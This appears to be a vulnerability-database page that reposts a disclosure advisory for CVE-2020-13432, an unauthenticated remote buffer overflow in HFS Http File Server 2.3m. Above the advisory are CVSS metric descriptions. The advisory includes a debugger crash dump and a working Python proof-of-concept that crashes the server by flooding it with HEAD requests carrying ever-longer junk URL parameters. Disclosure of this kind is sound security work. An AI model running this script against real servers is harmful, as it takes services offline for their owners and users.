The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity
High
AC
The successful attack depends on the evasion or circumvention of security-enhancing techniques in place that would otherwise hinder the attack. These include: Evasion of exploit mitigation techniques. The attacker must have additional methods available to bypass security measures in place. For example, circumvention of address space randomization (ASLR) or data execution prevention must be performed for the attack to be successful. Obtaining target-specific secrets. The attacker must gather some target-specific secret before the attack can be successful. A secret is any piece of information that cannot be obtained through any amount of reconnaissance. To obtain the secret the attacker must perform additional attacks or break otherwise secure measures (e.g. knowledge of a secret key may be needed to break a crypto channel). This operation must be performed for each attacked target.
Privileges Required
None
PR
The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
Scope
Unchanged
S
An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality
High
C
There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity
High
I
There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability
High
A
There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
Below is a copy: HFS Http File Server 2.3m Build 300 Buffer Overflow
[+] Credits: John Page (aka hyp3rlinx)
[+] Website: hyp3rlinx.altervista.org
[+] Source: http://hyp3rlinx.altervista.org/advisories/HFS-HTTP-FILE-SERVER-v2.3-REMOTE-BUFFER-OVERFLOW-DoS.txt
[+] twitter.com/hyp3rlinx
[+] ISR: ApparitionSec
[Vendor]
www.rejetto.com
[Product]
HFS Http File Server v2.3m Build 300
[Vulnerability Type]
Remote Buffer Overflow (DoS)
[CVE Reference]
CVE-2020-13432
[Security Issue]
rejetto HFS (aka HTTP File Server) v2.3m Build #300, when virtual
files or folders are used, allows remote attackers to trigger an
invalid-pointer write access violation via concurrent HTTP requests
with a long URI or long HTTP headers like Cookie, User-Agent etc.
Remote unauthenticated attackers can send concurrent HTTP requests
using an incrementing or specific payload range of junk characters for
values in the URL parameters or HTTP headers sent to the server. This
results in hfs.exe server crash from an invalid pointer write access
violation.
Requirements:
hfs.exe must have at least one saved virtual file or folder present.
Test using a remote IP and NOT from the same machine (localhost).
Dump...
(e4c.3a8): Access violation - code c0000005 (first/second chance not available)
For analysis of this file, run !analyze -v
WARNING: Stack overflow detected. The unwound frames are extracted from outside normal stack bounds.
eax=000a1390 ebx=000a138c ecx=006eb188 edx=001b0000 esi=00000000 edi=00000002
eip=777ef8b4 esp=000a0e0c ebp=000a12cc iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210206
ntdll!RtlpResolveAssemblyStorageMapEntry+0x18:
777ef8b4 53 push ebx
0:000> !load winext/msec
0:000> !exploitable
WARNING: Stack overflow detected. The unwound frames are extracted from outside normal stack bounds.
*** WARNING: Unable to verify checksum for hfs.exe
Exploitability Classification: EXPLOITABLE
Recommended Bug Title: Exploitable - User Mode Write AV starting at ntdll!RtlpResolveAssemblyStorageMapEntry+0x0000000000000018 (Hash=0x7a29717c.0x325e6a71)
PROCESS_NAME: hfs.exe
FOLLOWUP_IP:
hfs+8fad7
0048fad7 8945f0 mov dword ptr [ebp-10h],eax
WRITE_ADDRESS: 000a0e08
[References]
https://github.com/rejetto/hfs2/releases/tag/v2.4-rc01
[Exploit/POC]
from socket import *
import time,sys
#HFS HTTP File Server v2.3m build 300.
#Vendor: www.rejetto.com
#Remote Remote Buffer Overflow DoS
#Note: hfs.exe must have at least one saved virtual file or folder on the target
#test using a remote IP and not from the same machine.
#Discovery: hyp3rlinx
#hyp3rlinx.altervista.org
#ISR: ApparitionSec
#=========================================================================
res=""
once=0
cnt=0
max_requests=1666
def hfs_dos():
global ip,port,length,res,once,cnt,max_requests
cnt+=1
length += 1
payload = "A"*length
try:
s=socket(AF_INET, SOCK_STREAM)
s.settimeout(2)
s.connect((ip,port))
##bof ="HEAD / HTTP/1.1\r\nHost: "+ip+"Cookie: "+payload+"\r\n\r\n"
bof ="HEAD /?mode="+payload+" HTTP/1.1\r\nHost: "+ip+"\r\n\r\n"
s.send(bof.encode("utf-8"))
if once==0:
once+=1
res = s.recv(128)
if res != "":
print("Targets up please wait...")
if "HFS 2.3m" not in str(res):
print("[!] Non vulnerable HFS version, exiting :(")
exit()
except Exception as e:
if e != None:
if str(e).find("timed out")!=-1:
if res=="":
print("[!] Target is not up or behind a firewall? :(")
exit()
else:
print("[!] Done!")
exit()
s.close()
if cnt == max_requests:
return False
return True
def msg():
print("HFS HTTP File Server v2.3m build 300.")
print("Unauthenticated Remote Buffer Overflow (DoS - PoC)")
print("Virtual HFS saved file or folder required.")
print("Run from a different machine (IP) than the target.")
print("By Hyp3rlinx - ApparitionSec\n")
if __name__=="__main__":
length=3
if len(sys.argv) != 3:
msg()
print("Usage: <hfs.exe Server>, <Port (usually 8080)>")
exit()
ip = sys.argv[1]
port = int(sys.argv[2])
msg()
while True:
if not hfs_dos():
print("[!] Failed, non vuln version or no virtual files exist :(")
break
[POC Video URL]
https://www.youtube.com/watch?v=qQ-EawfXuWY
[Network Access]
Remote
[Severity]
High
[Disclosure Timeline]
Vendor Notification: May 18, 2020
Vendor reply: May 18, 2020
Vendor confirm vulnerability: May 19, 2020
Vendor creates fix: May 20, 2020
Vendor released new version 2.4 : June 7, 2020
June 8, 2020 : Public Disclosure
[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).
hyp3rlinx
This information is provided for TESTING and LEGAL RESEARCH purposes only. All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum